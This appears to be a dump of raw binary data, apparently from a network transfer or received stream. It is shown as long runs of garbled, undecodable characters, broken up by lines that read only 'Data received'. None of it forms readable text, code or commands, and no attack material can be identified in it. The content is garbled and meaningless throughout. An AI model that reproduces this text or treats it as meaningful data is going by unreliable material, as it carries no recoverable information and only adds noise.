ü1?F¡m]»ÍíÓ»¯õ–n$Ù åQ³ôùmÛ1î6Ä­0MòI—mÓ±Àà¹Or TÁw—Œèž¦D%à¯E¿ó„.Ý <m½ÆêŸÎþë>Áe7Y%‹÷OÑ ©¿dÈÓ1ˆ—ŽÅe·ðTÜZŽã™ø’Ÿ–Áò‚aŒn âNqÁ¥îÒ·À÷Ï^‹YÝñCߥÜy´ìÂ{Ý×:O‹;R_YK{W®£\µm‘Æä¼ ¬k'MÎ-*x¨ÐÕ=Nȍþ Œ;AT_ç•Ô€IUíoLñòï)#øõØ"#u¿z¢&Ð$ÊOÎ;”ŠvކVû?ZÀ‘ÀÛ·ê 'RU›sdÂ[|áTº7é¨8t=R3Ä¥%·GS㐃t‹{™ xÌÂ}ם?ëI_þñ•JQmÖ¬»Áy®P±µÙ.‘вÅn,€Õ.Ù³ÛT^‹1R íPíïßMƒPŸ™eŸu©=¸_5Ý R؁Gg¾)«_=ҕݝ™ ™”&&ʾ´º6B¥{%žy¬ÅŒ‚ ·>…½xèTGšôÜí›ø(ÄþhÙØÆ8xe30¨Ë抟Ã6Zø–·r{•KÊ¡4î‘ч)TٝÑ"0sä);ü{K i—•C%á'—ú(Zφ9V£.ýÕ@‹ž°ÚÁî·oHj%ßÑF† ;NkØqoÁ k³åâfº¸/JètΑËD\ï@ËTàV0(O.ȃ¥ƒïµÐ¬Û¨#Æ«øUµ¿"΄ÛÎòxKêÌ Ï©›¬~z£ä0è-'ÿÈ«Ö¨$Šå±fj”áŽ2^/K©Hªç5•žÇ<זÂF è”
Data received ÓËS?€þe!MéSÇ;"ÐkŸÿÇ®¹î1ú ®˜c]‰ò•XJxÄÄ))´u\f´­! ~cùûJa˜¡ìexˆAq\ã lUÝR£ýr‡ÏlØ­bVoÝ4½À½>¡…8ð²Zl–†y®ï-øo+r!W£Ì”¥¢œI•|áždB¨¸æê»}ZƒØý?`³\EiÈýXüeñ>äÏÔæL1;¸(ÎrÄZ‰úwqc:J‘VŽT/ÓíªÁG„ÿÆ8)ó5Z¯P ÑæÇа—ŸDg™Tñ[¿‹í˜ü@Ayݬó^°e€æiÏç^–Ð_·¢¦êÙiµ†ÉÀ¢fea+SϺ¬ê$!#c0‚ù¬F´¦Õ5fN= y|¡ <D&%Ân¹=h½»Û‚+\€ë±ÐnƓÄdogȓA¾³ð+Q!¿ð¡žpÖ%Ÿ@Jµ¥uz‘'$úHÛþAOýSîú¢@g.y›ûÙ җ«oó€…pT1ÑÄîóX2]l|HlyÀ¼€ç:WÕËü&K§ü´ƒW¶8ØéNxöÏ †þ%νBí Ÿ‘»µ¨žXY:Qk*æ¢<؊ž@GñµS-„™ÆÚíåõO覍/ːé%q‰ÆíǸ€FÏ í°L±2£‘øI핀V¨µâ6I–c¹¾Çàô‡„<aDƒ¢4ø‹¨Ã•‡2w4æ÷ z„LD åë^xÙX²½[ükkV,‘Ê2ü_ÆgSDWe£YÖM| 7ùÚB*¸ò[Jªk; ·‡Ú–föb$ÿ‹ Ȟl«´m–ór<©®èG“»)6,¢Õè¹6뀼"œB‡Z=ùo) 7ɕYÅy6†äȋAhB¯@_‡›cºVᔬœ£S—Ýü: j†¸ƒ–¥j}שt Ø'Ak‡ÿ¡/x—vüÀzânÿü8ÞڏÞÑêKeòØÞÀDZdrå+Oé÷È.®bL_±åӈNí¡;‹V‘ºäÔç-s(mÖ>ðtK¸6t/‚Mö$^„.ˆ)Neàù,&ò$0Ð6¼žÔ„Lς‰{=£ªý±ŸI¤’ùwTªÕ –mOՏ$†wdjùìD­°Ïð_”¶r´p•ýsÓàbÄG?ç@ÉÏÈãRãt¬î1&‘.xŽ¥/;ŸïRàÀ²CbO¡.°À&EDÖ½7E•¤Ö΁ºé÷Ë#†ŒŽ®—n®‚ƒø$ãqDyiù‰ÒGßùFF4Yá-^)~†§bìèÖM÷-@Pâe&z‰©P¡§<ï5¼õGŒ÷V±ê{½Þ|ÕÞ oNЋµ–jùšoúñàÛtVë1–¬Ib3t2®«¤ïVùˆ¿œI@Bô¢@\²/*å2ûP qª÷Ã+®"¹”í?²Æ‘ÄÙ+1«_³©ÓpªNè‚ÏfQô†g¶jÑ3Æ“ #É5ÇhV¡a,œ§†<bë%ɟØÚ©ü«'WìÆ¥ÐB0sêÔ(ùŒ`YšÞìÙû¼úšçŠHMŠ´²T“ÜSôH”蝔µq qf›×þ±Mžèˆ0 Å>ßp1¡ˆI;ë¨`B²®¦ä·¯ÛO»´­k*uAﰕÛl/>XÆÆL°q€K°Y£©È‡_gyXeƦõRÂ`":eJîO\² æç}3D,ÐùP*i hÀ=ésæ47pŠÆõàjnjÄíœñú©Lg%=gŒ¶YR…¥ÖÉ¨g‹Ý*cŠÁšÞ4u DbTØ4I읔ñ€þM¤‡ XsâO¡Hµ",„ç_`niÀÉI%ÁÕæck»«Ñ“’ÐC9UV;ÜÜÁ(¾d ÚÀ›
Data received -5Ÿ(Ÿ™z„%>~>,†é21M›1è¾øRŒ—Y õZÈXË·¢¾ôFi8šr±ÍŸ¤Oh@·˜¾…áØ­ˆ¯6µmÅ@g¾Ì2ŸÖÁHl-#üÔìX„MˆœS+ÙLéLDg¶þ4XL+œTM:óEóYQÏ¥äÈ[ן÷ìFיà®5Ü‚FqŠ#ÅÞWn•¿9ூ}¨*´Þ€YI6%«QÝWÛfêx¡I…yùëH´ €Ð®G-÷7 `šW¯´Iµ_óÔZ³kh©;ÌܞMµ:7(/Vý>CîDÎíêƒ{ɤ“OÚÿ¢—ØxÀxÃÑ?4 ÁÌ@ÿØóÁ2Ԃ Jc#Îíg؃7)ä ÜÙå‡!‹E&$ŽÃ”Éû{ÓOa+ £ˆÛ›J^ÏA|m 7ïš”(_ Ûñ†?~'•A2ˋ¦cXxkíŒT Ô±­Kþ+…îFY{Ý>KÕ)Ÿ°uM/èRbþ‡֌Ä6 ¬°[ۂ41œŽëQûAn2JŽ9À¬PH_ôrÍÅdùW—Ò;ëà9•r>&«ÒøôÏïÂdÁî¤îµ œ›¥øUFŒŠ| €UBú2üډÃIuŠ@]Hû «5+rì@e³GÿbW¿m‹eNë@{]Š¾¸²Áír—=PVÇø& Ü —×®VK{óò+¾»ˆÛ#˜Z¨0‘~l¢YÛgô¼P½t*k'1À•¬a Ã$ËšÝÛS™™àÜ-¨mÄI1dè0Ó@b\ÿ+nå»ÌÿÞ0~XIáœúÐçGVD —ÊY’?Gü€·›]`{ÏÕk¼®*Ml2kçGÈ°>ãÀú˜‰HiÙÍÄZÉ-¯lóÃNO6¦{ûÓàõo“•Ë<¶‰ìõ÷Wj~Õ; îëåEµM@ۇwÞõTE|Z^a/Pö_ayYâË¢-1û]JùýÒw(mN~Žà»É¸1Ƨj/ifŒð3%Zؘ†ÖPZQ6‰<!äð/)ÇÈןS揣åÎ5€=ÖY7 *ÊÎüÿ pˆ,t¿L8|É8z[‘F‹*æ, m¯éÛišXÍ=C¾çn #èµê‚ O$]”ž)X½i„ºd(/=?â× )»Rh%9ENB¾Dbìt¹q9ëÕʌWXÌHš:쓂PkýL€R²ãøšüÝ+ýqIw{TËv‚œ±ˆ`ö<Øü®á¥SýÛLt"ItqFMŸ@€Â¾ê׃>nŠÐýÑ?Z’¾û7–Dl3øÚÕØÚhó~Dö$ŸT\Á͈ ¸ÄÝvþ¹³{±¥áJB¹p5g{ð«B7|#Ðg˜|Ó+øöäŽâõÙ˜1r]¾úþûÝê~˜Î8‡eW$´m2{îÙ#] sVËB7³WMEàJ–þæxՙö_ ü£]P›¡a¼- 1ýۓÍßû¦Ã·‹âVJ¦Cç?´Šy“ý'Ú¬÷8’ÖØ+×ÐÈvi\BªÓËxûà¡Î/H•šF®F/A§9!X582ÍÚil”8…à›òƛ…[ø–+þ`6"›ê†Ô»ESŒqÂ>6šëtáþM»—µµ ‡”!ßã%†#-ñžðt'kï½]:lXÕ0!"Íæ–ol÷‰ f>Å4Ê;ì|ùÕóUF¢­šÞV°ÖƒQñ÷݁ ¦&¯Þ„Û… VÀÊpµè·boPkÜ'£(qøÚ68†ïÆ2lt«\ž¬Œq~íٞ”KQiÚˆ¹¬!DéþàeX ýs`\MGÝK&n ÛòŒîÕ©]òÔ̤¿‰ÌDî~<€º*s¹ó
Data received -É·@ªP"D ‰5EAÁ±‘ž³VÏNR®ðÄ^9`d²gš„áyKa0DóÏ€Gö”„7—Hn™WU+eŒ~W¸Súê±hÅÐóҕ!³UÓ\¨Ô]ܦó7³*CP2?9WU8-p¥SµÅòþÛѺ - ååÃÂÅ#ž¯"æ_žŠäîµü4=0súN§ dt¥¯N¦ªwÎJÑçáÇ7§š}Õ³É~ñý3‹‡ñ‹T‹ õE÷ÁÏ¿ZR–›P“!ÆÕÑÿÜÆ/-ì:(áq9¼ùª! _æŒÃ‹$fñoìŸï8,ò°7ï¥-,¶ÀN I›¦Y$PQaðŠVŒ4Ûù"Җa\ 3Ë0ɓÝëÈv¤àä*ËƗ‡ø-$ç†Î ÏqJ|¤r… Fæ?36Úøv~ÃóF’Ï‘½P.—¥×ñeÀwmž#cˆV©ILþxi )‘j¦î!”XèRV‚Cêˆgf+2_§‚ ¤ÊOtV¾7rWaºd8Ãk—8cÍ5Œ¨ç&‚‘ð$s&ø')²;‡×c@´”D烎”epåÈÁ9’QžC^ôšMëès©KÌ79ïàÉl°¢ºVÙÆì¤bJ';D’ƒ£¬¢¾;hYˆè?'S°ìøŽ•ÙMMµmaÝÜ¡‹EÜKÓtÈÑÁ$ªEþ@>$½·™“ÙhÌ&zVVÁÓ)øÚÀIFäÕ¬A"Ee\E=õ*ð®Rwm(‘F€­³XZŽ½9Zl¯ÆZ ý)#C\Tá…>­ožþ2÷8°³¬í@R'%æC÷ÜZÞ]ÞF¤CÌ°!um®—PÛx³]å[Ú¬ª‹~=Â])@œê °g¬`OIÁ ҝ1)Dñt¢ØªîEh¥Ô5k¶¯.*w@ÁSï<8pàmÃá?[Þ íF´â”×ÔuN+õܨ"ä 'î¥Ùb,¯ÓÐïOã>!ò'ÃDg)×#*£„^9¬ŸÉdÝÑÃ-–R`¬֞KÈP¦|Ó®'÷ꢜÖd }Z€¯d ä*OÐb¡$V†Ü(W]kÚÿSo=t⻈Ìä‘*éUÚö)ð T­X>ŠáÝÍsc™0wž>+ ”zNü¬ÈœßŠ{JëÛEïáI%­ìIƖ¥ò„È"[÷¶&dh`t6NlØhW°‚¢ì/ 8EXVßù•-l…˜áÕèÆW·å:3?ŠªÑmŽf *4],˜Þ¬P*»ÕU$u²qƒ·íÒÁüÛÿ‹ýh¼Ô.HúI$WJ>4„ç4Æ wScR¸¶¼~×iZ­ê¦h[Þ÷þÞ3¿ÛÕªMxk=,Ë[»xpŖ¯¶8ŒIQ×÷¨H¶ŸWøòž]åۛÅgIÛ'À¹ŒŸˆ³u¹\[Òçÿœp¦S¦‚baäIú ôü›»¶šèB¦·”ã•9ô!ëýi9¢Sç>ÿũ˱‘÷ïä  Îê¾ñé2vìiÿòl¥©…_y5v±Òç: wE+‹¨ÖäX ;VKÑÎÏNßÉ#pÑ799ÉGøƒ‘åÐá*s  ?÷†¤ÓG|ö@®”Ó®£g¦kJ^ƒŸ 1òý\Ós.ÃM·Y÷ÛªƸ:Ìð£ 0°aö†}›ï ˆ7·˜–A4¦y"îƒ'n‚ÆU—• kJžÜž²á7†ÓËã;ΐa…Vž—Ÿ‡óòYªki©çÏęˆÑ"¸¡^¯9þÁ¦d—Ûyÿ“|“èf YôVQDlëÜÍ÷“ÏüLFގTFhÍ-÷ÖÎXàMC.À÷#`ƕ¬æOBWbóà I
Data received Ýø£óÓ4Ù¸$îâ{ÁìLv0–‘óÞpäò«ÜAø¤˜¿ÚT;?Ï`à-̑äO•n¬û¶™wÈÎç>K Èq ÀYñr #T L¦¼¯5n,gø§uQŽY Ù§S¯—³wîÛUûË*þÐÁ'"Ô£àpXY··yóŽ põ”š9h䒈äxy<x ¿—0Ÿšê²·õ…ÿAV£ZɏÈÆùª”bD¾ØŸn%;Bå¿) bØ7sÕ:¾ÌgÃ¥Ô¬é;5k?ó]øƇ]^ך¼7æ Ø] º$»Äùb÷§.¤„ŒÂ/ú> sªò 6AvԕÅš™Æ•áöØß1Ñ·Hf ¹ûmH²~-ÞåS÷“¤Íº.ÅøWWNã ÐH;!†ø“[+ßC9 ÇùàÚ  ºۀmƒ@̵*òCž6”aßò£¬rW®žäÜ q†H!F k²„ÝW°eD^õ¨£‰ëEI"îÊL:ì–õªAå‚… ~pÕ´ŸD¾¦/Šî§?áÍËúc”¥2›9Ý^:‰äâÐA¯asÅ/Hpb•¸\A‚N 4p‚QhÏõú:„í î8=zœs~ܘñ}_2z¸ìúdQ*I-3xp€ˆ¤bË='j+ŸF^IÚÕ5(~.Z ¬õG ihÆiäm§æ^VðôsŒN©¼û.ޏDØç?.9dK©‡P6l>ÕÜÔRÿj´ °¤¸üÕá›8]ƒU÷ò!úÈX÷bQPàBú$–* &^¶VևºÞ•Y÷-S²´^Ì ç–§~š*zįbà÷ò»¦ï¶s›€ëC%Ò;hнÔöI•>“+lÎ{²Ã}m÷t‘ÄÄÅM‚ò †ÒÒ¤n9`÷Ù/Ú¿›÷õړevl°ç5t5(`,ËcoŽTî.Q‹•Çfóo~´ñi’Æ[d;;nEQA(hX”¡Œª‘nYx­ÂfvéDX\k 7 ºtAU룥òOZYz01²LïiçÛ©ŽÚ^NzÎ8Ϲ§êÜÊU‰Ò†ë«9ÀB0†F¹VÂ(ß¿– Û¦î!m<|»Ìg@rf¬­Uu2ª±Ûq½ÊšARhpáÙýÚ#Je®—’ž?X}õw',on÷ÍÐyÌÑ×n¾u°—Œ0ŒŒ6/·;¡o`¢ .Cº¹Ú•·6ªÇ0üNOµîé掠ƒÉ¼ui-¦X8|f8DBAÞðè(óöç Í&·ºa'J=ã5šBɏaËZB+\£VÅíNã-ɹֽzl<Œ´¢®ÌÁh¡úRÀ>Ù§H}í8ã²=Ät'ÝÔÏÙg‹°Þëk!Ãþ¶€äÚP}y •Ó‹:þUǧ}áE†›ÎÞ …‡Í•šYÊzq60N}Ð8-ݨ”Ú1Åð<^T†Ô–/üáó»7ry†­†qĦá§>}®ûeÅ«Cr6¸>‡$9æ7¡{óéZ”ÏÏ3ÝÙÇäC5«i¬ÊR/;ž•´}9Šü ÎS ‚ØÃÀ·Úuàš| ÿQd"³âk‘¶zÔ-ƒzCL“¤ÜZ) ”f3 S‘œ°PUûâVmS¢à*Ü.FÎMˆí¥í:û–Î`z¯*A!!l\c‚º`"*_®Æì¾´i»Â°¯C!Z’[º'éª9×ÏC)äÓÕ3Q,O0U&0 5fO¢ip>Óÿ¡¤îkÑ·ˆ½î?5Ù¿Sވìñcæ)u¦ã‹æ^ˆÎ í´ÆÑTœ4r;ƒa ÷åÊ¥ ÖèµXTöoõÕpe%p³âÿŒ=Ü
Data received Žà‰H*Ÿ²ªŠS*§Nê™j½I7‚'6µ¥fO«ö“°mH¡F/K,ÒtëŠÕ ¢bòf*´K¦ÝD|×];ðùŽ)×/Ô¾1åãMÇó7T÷b+‹(i‘o‚c®Édüënsĵ3=ÄtxÅÓ¹{¯–êëwÓ]“º™ê¬ŽÔ1Ë؆ Ì!…ƒ`ßÃh¤â¢œ× “H6üµºª³ººØHáC£À±HM‚wv✛@ë4ùŠdП¹žç¬YI«A²ÉS#e µe ƒÄàYå ü8³q?"a‘«­<4ñ‘ŠU§Ü®¯?¢ÀðӉMå鍣 lW`¼¦¨CÃ܂PH5cæ#m2 ÚÊD¦öyn7ìØ®äUÇkLϹt<G®Y ÍOÍ;²Ò¶J”z͂’[¸skàk™~†JÁçÞiÊ»è÷ø>Q 28Óðçîf€&Þ<ª:+m™þC+ ¥–ŸÙ!{4óîÿBûރ“ÉnÊ`$ú"7§™}—£L¼ç\8!Då ršud‘¬,×Oä¨ég˜rYÐ\æ4óŁÀëӅ뀞µz¹¸ë^«ßsíiÀ#mukøO!´éèJòâÅ´^}…—ú'+€rÇôþ8ßïÎüt¥Ä^Àå] Úäé8ˆ@d‹v{²~"uÃF׎#æY@äß½ÆhG“ 7éÔ͝>z•뼯úù£b Ds3Pd9ò‰šÌK/áßE¯¤Kô…-G¡éIúËÁJ¤]”¢é`.§k½Ë×g"òW¥RpQº@\E±¨m#$Lþ".!4 ©„2qHÿ€#WñÊsVºò fjH^eÁ>±kõŠ¨Þ02ßW_¾XÝ7Äg‘Ú«Êaóm/=kžâ.Ñå8ÁA-$oaXD¸¤ÖRœXÑØCJŒÀ3•€"õærœüÿ*¢±LPöîϐ”â™h»üôÛug /X ñ+Š%ôêØl]ÀxÝ ïí½ùäM˜Î̹Ò.wç•w±cßÙà0ò³ôR»®!)r¹Bb˜ªtïG­…ä êtÇ>ÑRO xðÛ+ߞ©†_ÊYT †Û9ëý &f±ÁžAûó Q߁òî”fgas.PR›—  ‰qÃe¥05égå8O‡wí „^ù:{¸ãr ¿±ºîbŸ îiQÖ§]À2Ùcvw݊bObjÉý¿¦1ÊâŒVlàÔ¸“pÒð >µ´LY)É®o\äÑkw~…Û¨\E¢)i÷wakú“ñÛMšŸàðgzrüvtlÑ2ÈÉå“ cQ' áõI~sƒ‚ãËÀê]ùSÏï[Ä{ý¬ü€.¬ÎÉ&þ ±Ü9ä4ܓ:øé£@Ût&ç¼æÞî–Å‚Wïá¾ÅF0ڌîS™á®µÛ§:³4é èØ6ÊlMÇeÙ¡¢ˆòº\òñúcŒî2¬šdí›Hv“Ψ\5 ­`Yóã´=ÿ÷Ռúp6çq;™¤GÝ 5qÑÔuNqº5¨oÄðZ±@>-ˆÄ$ÌEH±£À¡!䓚5BD+–,Å´öŸïó½WÓðý‹§+Ù{}—:@þfSiˆGèô‰à‹-Ï"6¶ñP—°òÀjŒÈÌßB'c;›ÖlJ®¶q:„-ÛÜ=´÷{«m½ÐŠW 2³ú+¥œhàÞ&˜ƒW<¬çx9‹ßÝì\=P"q@•¶TÔ@@±»ŽdE[  Þ]¬÷†øŽ>qOmW«ÇÜ2^.¶@ÄjTºj¤È¢j©*ÌP*ÀXÀ®á…Ý¡.#òv¼NmÕ´š
Data received i®4³•ÓÒ2!?Wt ácðêZ÷ґp…êG u)w|`ð+Wáüo5ô>éÞ¢(8ÇJ~(¢—>¡j¥4‹Öµ6¯3f´©ewi'|ݶ$ŠåÙadÁL!¿«×åvGjè ¸÷ÕZººtC|,ª(ғþˆÆT80$ò‰Ù9v—?†*´ÞT6\| ©º{vjZ‡2Œtó‚'iv‚’Æ©Ý«uü‡è¦ãÎR-jä2µ™E/¾…_«EìÚið×X¦+ X$ŸPž™<Y¥Ûy¨‹p’zßk]£ïÐò­دñÂ4,~&™øF­PcxOv½œíZþ?‡iLk8â©Oüž×xg˜1H8Qa C;þ+YþZSrëê9ëüšŽŒÐK+Á9µ³vÿ-êOÑì•Þ ð Ü3ÂW£¶s¸ÐAÇ•ùm<#X׿ó"ÏæO”†Eê»ØZV) Ã.a©Í@MªÅ¢ëDw|GEÅ=3¿R0ÆE] Þ #é¾P¡B8 lMy<9Xɝ™¸Vœ8Ánkâa£uIqäÄìð`5&Êeã:Bxæ瀴¼Ž6Ÿ}ß7-]ù9›‚¼ø¡ÞF)  ËI¾ÒâØÞì'{ƒ)¶åЇþFÅùŽ¨¤!¢ÑŠÓgIj%_ÚƄK™HYŸ?f<>UÚìw‰Ö-s¢Û¤Àµv(«3Ñ÷=˜níOÓAÄίl²–ϝ·› ‡˜]IÍ‹[Üàï6æ\5Rú¿8ÚPїkr±ÎjHÍÊøÉËHŽÎ`/%V)ÚGkÑåî$è¤["pÿŠÏє`Æç·©ðg„ÀÌ_³tì¶#ÕîgÕþëY#`~U1íBi`þ³|ÜõáZé݇ô¿*vœv® §L*<õ‡¤Šü¢OtyÙ¿Ð]ÅÓþ{…Ï•›#÷>l…Gí½GËü츮xw†°¡½ë.º…!N9u;„¿J®­€¸FNTÿE¶l‡í¥tÊh9|—e>|‡üí; ¯%öT0®çqî¢sÊd¤ªk{x€ ;ðåo6—‘ß QÆüŁ2‰/ôE§^ïjRÁ–ž8UŒ£•!Óîòrh]ú4œ|¬”ø$QræÚE]“ìS¥¿à ¼¡å¯å.üæE)Ɉ‘“2‘Ø,„W‹€}zˆvƒ¨Ã)JëýJvŒÕûwâÞñJ̃MšÔEZ%¯êÚ 75µµ 5Œá3"|Û´âP—A©öµõXW´á™Ą±1Ï)Öy?ãæ3q¾ÿD6]d²xU×ȌQÍúŽeŽ=ۈ´*½üŸã'<’¶‡ˆ‰‚±Žfö³ÁžS¡N<…ýã^_†u¼¥sÕÙq᠟þh&3°Ã;µwœ¶X'Çw¬2 UO{ïjê™43>ǪpÔ½"+ZR{½J˜§´€ñ&˜æ7@±Áï4#¿„éä«`™ÄÞßöœø¶%5YVõï´ÍC‘Fß»„‘=^ñ&Ú `;†NãÜ÷ù·£] ¾¢H£?‰l R؟!rÏ3zFPï¡ghBãér›hû=µõøÝ°°øg”•“Ÿ89ã×Á®C%"ýà)¸ñ¼# ±ÜñàEØ:±¥ØŠax~(‹þqôԍµ°Œ1¨3ÝÒ°ŒÀƒ†n_aÖ³Ï8Òw¸=ß䎊À_<âšÉç”ëÃHÙO†2m1*YYì5ƒ‰¹kŸçGhh¨LAu|ç#æzºîÅ÷¥ói`ϼÜè¬:3ÀÛZ*[7õ⏮xlä±Iµø½•ƒãý„Oð½¸9R˜Ùl.å;“÷N†‡ú}‡¬y
Data received DÁ®¬LA–}±KlƒðW;Í¥jaÕhÈaTŒša\‘?UµØZȉ{¢ò ¤ Œ±7<§äø*) ^=qüäB‰Ì@YHö— ¯¾j7“c¢F½»É¬zݓýr[ïp¢OTæ¬3Ÿ‡ä²Að¨ç7ƒÚ_ЦdeQü¤Þ †U_l²Î*<L¾¯Î hpSCšQ”œî)ÁDLÒPÎcþn~£¡ šæ* Àܑ68‹›å8x¾Ïöª)Í`žåû#}ý/¸É#ק[lGJðXxõ0¸(c/7äP*ôñÒa;ñwKÁH_äçðšç´^Î!7Uv@¸‚3_P úUŸâ»„ƒ_·ˆ½,â\ _ÖR#©n'åvûq€OC@¥'hêiÅêÑ!«ävh ¦ÈÁ—d00¼I˜lkUÓо #i(üÜZ½¡K¾·8{áW¡)ÊÛýgëy#@ŽY0°cˆV5.†1Äðãv ^" Ôd¹LG€|aúú7Í´'VJRA¨Ïk¤Z÷¥³ÕâٗàuEÓ]_ ^Œ]³Ð²ó?êùʁ8½„…Uánªu§Ü4À‘í(c>²m\Ìj@Zö\AAl_ÁŒ±¢…î:¼iVDäN4k¾D„_<ñhژijÑÕvÓ͌¾¡m° ¬˜Êû@>`–;ï %‰j)ËV¬ž)8NHöŠ‡Æ7e"* ‡n–/Yá2®Þܹ&bÇUÇPÔ8 ¹aÒ çÄÍÈå(œ7iBÍ0‡$ˆ€ƒ^ lQŠ&a€+ƒQ?Ïf7Y¨[„I—0IèóîÔ ‹pÂևETÇû¢¼ÐvŸcqû/ 8PV_ÐéõÀ™ñ÷ ·|æǐ AR÷ "_E©BèF÷æWXšÕ†kðÂÉdÎÇ5ò×µSôàX î`Dq¡É`XÆnoñ=´·Rr<+xIW‘:ë:7¥¤qk~nU-aøð–%_…c‰pÏaTsF'ç²ÑfÑ%+ÀÓ@ÞÛ¸žò8EZŠ:†Ò2ÓÅ­i«‚M-«ƒâx½{ÿ¼4$§mRåx¬‡§ŽjT-:ˆ|Čýe7%²©SR Ä®hc̋¢;3u¦?BïQ™ÊàZ~D)|&6OpU4q0iÒáĜ•Ô ,¢?ͨIÎá…ÆfE©~3)Yu1Ր°EèSSœiéhq\H«Sü»¤ÂÄ ö¨1ûýÒÚëå!åØeÇ¥•/?×9ÚbØ-RM»©†°44ƒ·ÿý¬*>Âö%žíŸ¥š% 㳟/»M‘\…n`$€K†^ñcO£¤º=™O6áú¦Q˜N=¢mÉèX,ºnÙ®¾ÉݛÐéðJGäỞ`E? ô.ÈUû›ªÐ½ .Ö%+kÁÖÑùñºEpYªË?¶ oþkÄšæg?»Ú™ /€¡…ÜÃX ñU´Å| Ú —|¸wb› 简a#hÏúÕ ŠD;…;MuóLÛJÜhÏà!¨ ¬÷€õ•ê–_žD×x<ÒÎc C€Ç÷8é}/º|zå$d‘%£Ö$Br¥Յ‹7ž:ô''…UA Z×´+<lNBƒ…–-þxΟ¼¿¨=µ„òÀÙõ7*O82ª„ ®6ý7ëjÙi5”< iH­É¶ÄˆŒŽÐ Ò¥5£Žóõ¦»:Âÿ¹´í«(4/÷ÑÒ_AXN\cA#›&ð'©Ì)~¸%£¬'3¶A·–8BÆ?›{CUöÂނRtn!à/ß1&ÂcÞ­v˛Q=){²µ¸Z7UQõM3iH
Data received ÄÐ/ÿ+¿ŽþKsEƒùZR$IA\l deò阌Q¬î®Ÿ¾mý^ŽØ¨”¿±NKêlbB¨bי†í¬Ímø ÂÀ¤+š"LS嗻’Ð.(nDBõp —£·ŸŸ|­¢€ 4èðd\±7ëÉK>YÈIl…k|Láøò¨µŸÐ&«À×lÃ97ô°%h¨7ÿu>ǵmec­4Ã2{góK ããý¸[¶ŒÔ~ vZæ8ØYuґéÌÜúÕß=½4Oá/âÔK ê՞sÚh-Ê}nyë½±'j¯â(ݓÊz±ðZµ7> {<ÿ 8Ìeö„ö”lìêá˜Ùi+˜õØhæO@£Î7R@V¥c j—qŠ·úάÚï V›Í[ÏÜW(½n±¦êyb¾|òrÎQüEh|®ùd%‰ÈÚfu®^€«ò®c#0êUâC7¨<÷ǧé3±€L¨ÙêúD ü€”8@ô a²ËÏ*:þ´ºžúIÎï)jÒàóºKõYšu§!Œ¡ödå±`t/S üèùÂåv¢-ÁIsk è½¡^>þ}@ŽVé³ßMì‘DÓb—‚à”Â…L„„Õð">)$6DŽèÖóg vöSgdìÞ"g¡áéª(´ ›lÍä/kŽmP¶)Á•HØõýÕùüó§Á¶06/i;¨Ù þ Kà‹‹8›­í% Uы Tøå+E¶µ¶Ë™ûñ¬¸ÊÈ\½1rÕz ò§0¡Z•o‡®2Va¥Ë±<0r¨„þõtÕZHêŽý}_‘yèIÇfº‘|øW8®å$÷¨ëø–y¤ €ƒ½Oõ‘ãâ-‰Ø€}!,Úòɶ$Ì×Á‘oôî„ÔqÙ6s~y®',Æ8œôùöÉ<V`e"QF1-`ÚÊUÞl²¯`PZ¼Ÿô¾ÃÙãRh3¼qì/Ӏ ™ó`lL­Ô=ªÁFfÏ¿€zÙÓ|}- Ó, ý€@øÕï v¤õD2¿ ÜcÂõª~éÝrPo¶Î M±h †îÎØPžpHÔ¡l{ÿo®B3‘$­ÐËLJ€Å“Æœ}WÛú7Å˂—srê9)u5éÆ׃K(>>эñ®ªÕãáÝݝ¬Ø3X¤íT¾Âχޯ†F–­Å¼ñ9™B=î¤ÈÛ*“…¨œfÍÈ-}°¦¥‚©fœTãød‚RÜþòõ² ÑiPFD €øïõ> GúÄå']f<kÄ(—€ÄtAc:ÝÙü؁EB -]ÜEwCeÊ9Ë ÛBjW-7éfAUËhä!ªÔ.:×<’VAy>òHb>ßߌ^}Äzã0n࿖òjJ\-ëÌÌe‚eg$×ôºV-Øðî}í 6OºQˆòeRƒªQN;9B¸®ÞgUý¯¡µÂ‚ú§)Æo=曧³^¥Œ¤.`éÀŒó XPÊ×äÜzðŸúàôQŠižPèÐímÄ`ëà Ø;I¨Ìó®eL±Â2‹²öúV‡õRùeæžk:qCüï'ËoÜehÔ¼DjËÏ}*¢PüG.Üh(‚‡=ˆo¡“F/~³¥N÷s*,P¿!i93zðuY^D=é:Êþi° Çù"w/Û‘ÈèH¶êÒUJõÞ/Hâ²gÅ?ªŒŠh¥'À=yB\ á®Êƒín¹iµ‹wš %¥ ڜأi²\Û.a¸a†– ß¨]ÙþÇEm*”'4hhܒl…$ŒÔÐ~P&Dd¢A¢ùášê…´gØ÷»§33Vj
Data received „œžÚLDÎ' ­Ôf”5zàøGŸ¿É#ˆÕ\Ðáß{•„âýÛG~Ìæ¦mº_-0|óØgü›ŠÝ£’&’]G»à砉\˜ÎŒï³Ö•¸0 %F豫|Dœ®ö*Zî~G…R9Šf/‘ „ÝÂMÍ"v+ÄÍ]‘Ƨ8À«GØÂjŒ{o?~9H0é ç¸SlWËC'O—º˜wW&x€Ž[p¬°L³Ñ„–϶瑁”n*î­J@·¦Þ`t×DWÌ& ±,«FpëwêñÈf_¾ÿÇi(^X¦ºi°Ý.aÅYÐÿý€UØ5!i!Fx.¦péɺH&+™Ü %}tSU#í<Bè;÷a¾´21‡™­éìMžŠ1¾ÌÛnAû÷ÞÅt_֞ü›¦ŸDv?~µ€~µÐí£¦†g£±à‡A†õ¦ÿðUÓQzÆ´=Îd 1ŠtG¦¡:‚aþ¾1Hî€îkÓ¨¸hx$àM9÷°œkÛÂ÷T(TLïïô^æù¡‹½& 2Î[•ÉŒ#}ó (Ëêg¢H†ùÐ?û Åm²ÂÇ¢Üc”†cԚY®V|6â‹gFÝôfânγƒÐz‡Ú%†CÙ4ß4ýb©¦^ӅbĎ0q¨ ÑÎ÷lM¸i¥ºÑœ8«)éãCRm˜BAm®öw×9jºÂÜK@¸Ýë—q€JXŽü…i 7bτ¢Þ3¥O®ÇL³ €Å†…lś¹²‰„0¥(ã$r¼–`Š~YÎÇ7À‚Å{¬P+$QÕ»…ÎqÁ ¼>‚X¢©GÖµc ?M$WÒÂ]±¶d5sº<ØÌ7{e\˜Æ`¼Pà sùDmõ_D\/>v›%.ÔÒü0òݲ0ÛWD»‚nØÎĹîíWÙr¹N=[«VÁª"Ž÷§sêk• ¦æ*‹û•`óBАk$"ºœÕ¹_£ç0i€ÓšYK1Í´•Þ<ÈBF¸ç%ë ªµ m$3ã>oU-f 